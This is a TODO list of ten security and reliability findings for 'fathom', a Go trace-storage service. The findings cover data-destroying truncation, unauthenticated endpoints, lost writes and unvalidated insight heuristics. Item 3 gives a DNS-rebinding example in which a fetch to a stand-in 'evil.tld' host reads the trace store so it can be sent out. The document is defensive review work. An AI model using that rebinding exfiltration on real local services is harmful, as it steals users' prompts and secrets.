fathom/TODO.md

TODO

Ten items, synthesised from a six-expert review panel (empirical rigour, security, storage/durability, applied ML, reliability, developer experience). Each expert read this repo and costslayer at main and reported independently; the findings below are the ones that survived cross-checking against the code.

Ordered by irreversibility first — silent data loss and credential exposure above correctness, correctness above polish. Every claim marked verified was re-checked directly against the source, not taken on an expert's word.

---

1. recoverTail destroys the data it exists to protect

internal/store/shard.go:107-155 walks frames from offset 0, breaks at the first CRC mismatch, then unconditionally truncates:

if crc32.ChecksumIEEE(body) != want {
    break // body landed partially, or the disk lied
}
good = end
}
if good < size { return f.Truncate(good) }

The comment at shard.go:13-22 assumes the only bad chunk is the tail. Nothing enforces that. Demonstrated with a probe on a scratch copy:

10 chunks written, file=2130 bytes, rows readable=10
after 1-bit flip in chunk 0, rows readable=0
after writer open (recoverTail): file=0 bytes (was 2130)
RESULT: recoverTail PERMANENTLY DELETED 2130 of 2130 bytes

Worse, store.go:255-259 means a read query against a not-yet-opened old shard goes through OpenShard → recoverTail, so browsing an old day in the UI can trigger the deletion.

Only truncate when the first bad frame is the last frame. For interior damage, log the offset, skip the frame and keep scanning so later chunks stay reachable — or quarantine the shard to .corrupt. Also check the n returned by s.f.Write(frame) at shard.go:184; a short write is currently ignored.

2. Everything is unauthenticated, on every interface, storing secrets in cleartext

Verified: config.go:66 sets c.Server.Addr = ":3000" — empty host, i.e. all interfaces. Handler() (server.go:57-82) wraps the mux in logRequests and nothing else. A grep for Bearer|Authorization across internal/ and cmd/ returns nothing; there is no auth primitive in the repository.

The README instructs users to set OTEL_LOG_USER_PROMPTS=1, OTEL_LOG_TOOL_CONTENT=1, OTEL_LOG_ASSISTANT_RESPONSES=1. So the data directory holds source code, file contents, shell output and — with high probability — any key that passed through a session. Anyone who can reach port 3000 reads all of it via /api/traces, and gets a query engine for free via POST /api/query.

There is no redaction anywhere (grep -rni redact|scrub|encrypt returns zero hits outside fixtures), files are 0o644 in a 0o755 directory, and deletion granularity is a whole day — so the answer to "I pasted a prod key into a prompt" is rm -rf that day's traces.

Bind loopback by default; refuse a non-loopback bind without an explicit token; require Authorization on /api/* and /v1/*; chmod to 0o600/0o700; add a credential-shape redactor on the ingest path; add fathom purge --trace / --grep. The [privacy] section currently drops five identity keys while writing every prompt verbatim, which reads as more protection than it is.

3. DNS rebinding drains the store from any web page the operator visits

No Host allow-list, no Origin check, no CSRF token — grep for any of them in internal/web/ returns nothing outside tests.

An attacker page on a 1-second-TTL domain that rebinds to 127.0.0.1 makes fetch('http://evil.tld:3000/api/traces?from=0&to=9e14') same-origin by the browser's rules, so the response is readable and the whole corpus is POSTed out. Binding to loopback does not help; only Host validation does. This needs no network adjacency at all — just a browser tab.

Ingest is separately CSRF-able today: handleLogs (server.go:148-164) reads the body and unmarshals with no Content-Type check, so a text/plain form post is a CORS-simple request that lands without preflight. Same for the insights mutation endpoints, which take no token and in one case no body.

Reject requests whose Host is not in the configured set, reject foreign Origin, and require application/json on every POST.

4. Failed flushes discard spans that were already acknowledged

store.go:165-168 detaches the buffer before attempting any I/O:

s.mu.Lock()
spans, logs := s.spanBuf, s.logBuf
s.spanBuf, s.logBuf = nil, nil
s.mu.Unlock()

Every write failure is fail(err); continue — nothing is ever put back. The exporter was told {"partialSuccess":{}} and 200 OK a second earlier, so it will never retry. Then AddSpans (store.go:126-130) hands the error to the next caller and clears it, so one unrelated batch eats a 500 and the store reports healthy again. background() logs nothing (the package imports no logger at all). Close() discards the same way on shutdown.

Re-buffer unwritten rows under the mutex with a bounded cap, keep flushErr sticky until a flush actually succeeds, log every failure with row counts, and return an error before acknowledging when the buffer is over cap so the exporter retries instead of the store silently eating the batch.

This compounds across the pipeline: costslayer's exporter discards the HTTP status entirely, so fathom can reject everything and the sender will never know. Fixing that side is the cheaper half.

5. Corruption, version mismatch and dropped spans are all indistinguishable from "no data"

Six separate error paths in iterChunks (shard.go:208-239) return nil: CRC mismatch, decode error, implausible length, read error. read.go:88-93 then continues per shard. In the probe above, ScanSpans returned err == nil with zero rows against a file that had ten good chunks.

Two consequences. Interior bit rot makes every later chunk permanently invisible while queries return 200 with a smaller rows_scanned. And chunk.go:254-256 rejects any ver != chunkVersion, so the day chunkVersion goes to 2, every existing data directory decodes to nothing, silently — recoverTail only checks CRC, not version, so it will not even complain.

Ingest has the same shape: otlp.go:252-254 drops span-ID-less spans with continue and no counter, while otlpOK always returns an empty partialSuccess — the OTLP field that exists precisely to report rejections. A body with the wrong shape decodes to zero spans and returns 200. And nanoToMicro returns 0 on unparsable input, so shardDate(0) files the span under 1970-01-01, invisible to every default query and deleted by the first retention sweep.

Thread errors out, count and report Corrupt/Skipped/Rejected in QueryStats and partialSuccess, add an explicit backward-compat branch to DecodeChunk, and never file a span under 1970.

6. Nothing stops two processes opening the same data directory

No lockfile anywhere — grep -rn "Flock|flock|O_EXCL" matches nothing. BlobFile tracks the append offset in process memory (blob.go:16-22) and assigns off := b.size at blob.go:71, while the file is opened O_APPEND so the kernel writes at the real end:

off := b.size
n, err := b.f.WriteString(s)
return BlobRef{Off: off, Len: uint32(n)}, nil

Two processes (a stray unit, a manual fathom serve, an overlapping container restart) and process A records an offset where process B's bytes now live. The chunk is valid, the CRC is correct, the ref is in range — and reading it returns another trace's text. Silent content substitution, undetectable by any check in the tree.

Take an exclusive lock on the data dir and fail startup with a clear message. Derive the blob offset from the actual write position rather than a process-local counter.

7. Durability gaps: no directory fsync, and retention closes handles readers hold

No directory is ever fsynced — only blob.go:115 and shard.go:190 sync files. A new day's shard can have its contents synced while the directory entry naming them is not, so a power cut leaves the day absent rather than corrupt, and ListShards simply does not enumerate it.

Separately, dropShard (store.go:419-432) calls sh.Close() on a handle the shared cache handed out, which store.go:337 documents as something readers must not close. Nothing refcounts. Probe output:

before evict: blob read = "THE-PROMPT-TEXT" err=<nil>
after evict, SAME held handle: err=... file already closed
post-evict scan: rows=0 (no error surfaced)

The hourly sweep firing while a trace-detail view is open makes the prompt render empty. In the other direction, a query that reopens the file after the map entry is deleted leaves a live handle to a deleted file and corrupts the size accounting.

Add a syncDir helper on every create path; refcount shards with an explicit Release(), unlink immediately and defer Close() to zero readers.

8. Bound query and decode memory

LIMIT is applied only after the whole result is materialised (exec.go:616). One goroutine per shard, no cap on a.rows, one *group per distinct key in an unbounded map, and every sample retained for percentiles (exec.go:563-566). SELECT p99(duration) FROM spans WHERE time >= 0 GROUP BY trace_id passes the time-range check and can be several GB on a year of traces. handleQuery passes no context, so the 60s WriteTimeout kills the response, not the goroutines.

chunk.go:298-303 pre-sizes slices from an untrusted count capped at maxRows*maxColumns = 2^32 — roughly 36 GB of allocation from one frame before a single attribute byte is read. recoverTail has the same shape at shard.go:141.

Add a maxGroups cap and a truncated flag, cap rows at q.Limit where the query allows it, use a bounded sketch for percentiles, semaphore the shard fan-out, thread a deadline context through, and never pre-size from an untrusted length beyond what the remaining buffer can hold.

Related: config.go:71 sets MaxBytes = 0 and store.go:398 only evicts when MaxBytes > 0, so size-based eviction is off by default — an unauthenticated writer can fill the disk with a 30-day window to work in.

9. The insights findings have no null model and no precision measurement

Not one threshold in internal/insights/ has been validated against labelled data — grep for precision|labeled|ground truth returns one misleading comment. The free parameters (MinRuns:3, MinLen:3, PromptSimilarity:0.55, embedSimilarity:0.82, RereadThreshold:3, MinCostUSD:0.50) are tuned against nothing, and all 40 tests are fixtures asserting the mechanism fires.

A faithful replication of crystallize.go's miner on traces whose tool calls are drawn i.i.d. with no sequential structure produced ~300 qualifying findings at 150 traces, top one "the same 3 steps in 21 runs". The panel is guaranteed to be full whether or not the user has a single real habit.

Specific defects behind that:

• Cost is not a saving. crystallize.go:102 allocates trace cost uniformly across tool calls (false for agentic runs — cost scales with accumulated context), and four detectors attribute the entire trace. The UI renders it as "costing $X", which sends users to spend an hour recovering money that was never on the table.
• No denominator. context_waste.go:258-272 continues past successes before counting, so a failure rate is unknowable and go test failing 3 of 500 reads identically to 3 of 3.
• Severity measures window length. insights.go:360-368 thresholds on absolute cost/occurrences, so widening WindowDays promotes everything; the bare occurrences >= 20 disjunct promotes with zero cost input.
• AddressableCost is computed from the truncated evidence list (capped at 8), so the metric that exists to prevent overclaiming undercounts more as findings get stronger.
• Threshold mismatch. MinOccurrences is advertised to the client as the floor, but three detectors fire at n=2 and Waste counts calls, so one trace can produce a finding.

Add a within-trace permutation null with BH correction; split cost_observed_usd from cost_recoverable_usd; compute failure rates against a base rate; normalise severity to a rate; compute AddressableCost from full trace IDs.

10. Make "working" distinguishable from "loaded but inert"

No /healthz, no /readyz (grep returns only test hits), and /api/stats reports shard byte sizes only — no ingest counters, no last-ingest timestamp, no error counts. store.Open (store.go:97-101) only calls MkdirAll, which succeeds on an existing read-only directory, so fathom starts, logs listening, accepts every POST with 200, and every flush fails into the silent void of item 4. Retention deletes days with no log at all. A failed insights analysis keeps serving the previous result with ready: true and no timestamp rendered.

Add /healthz and /readyz, a startup write-probe that fails loudly, ingest and flush counters plus last_ingest_at / last_flush_error on /api/stats, eviction logging, and stale: true + GeneratedAt on the insights response.

The pattern already exists in this codebase and is worth copying: LocalStatus (analyzer.go:96-101) distinguishes "a model is available" from "a model was actually used". That is exactly the loaded-vs-inert discrimination missing everywhere else.

---

Notes

go test -race ./... passes clean on all 10 packages. That is worth stating plainly because it is not evidence of durability: the suite never corrupts a byte, never fails a write, and never races retention against a live reader. Items 1, 4, 6 and 7 all live in that gap. Tests that inject those faults are prerequisites for trusting the fixes.

Two positives the panel checked and confirmed, worth protecting: the web UI has no XSS — app.js contains zero innerHTML/eval, every node goes through el()'s textContent/createTextNode, and trace content is attacker- influenceable and rendered safely anyway. And there is no dependency surface at all: go.mod has zero requires. A future innerHTML in app.js would turn item 3 into full store theft.

One cross-project contradiction. context_waste.go:230 suggests splitting long runs in two — which forfeits the prompt-cache prefix that costslayer's L3 exists to preserve. Acting on that finding can increase spend. Estimate the cache-rebuild cost before emitting the suggestion.

One documented guarantee the code does not keep. local.go:1-12 and config.go:46-52 promise insights data "never leaves the machine", but candidates() puts OLLAMA_HOST and FATHOM_LOCAL_MODEL_URL ahead of the localhost defaults with no loopback check — and what travels is up to six user prompts, not a hash. Anyone with OLLAMA_HOST pointed at a GPU box silently ships real prompts over plaintext HTTP. Either enforce loopback or correct the comment. GET /api/insights?from=&to= also triggers on-demand full-store analysis despite the comment above it promising the opposite.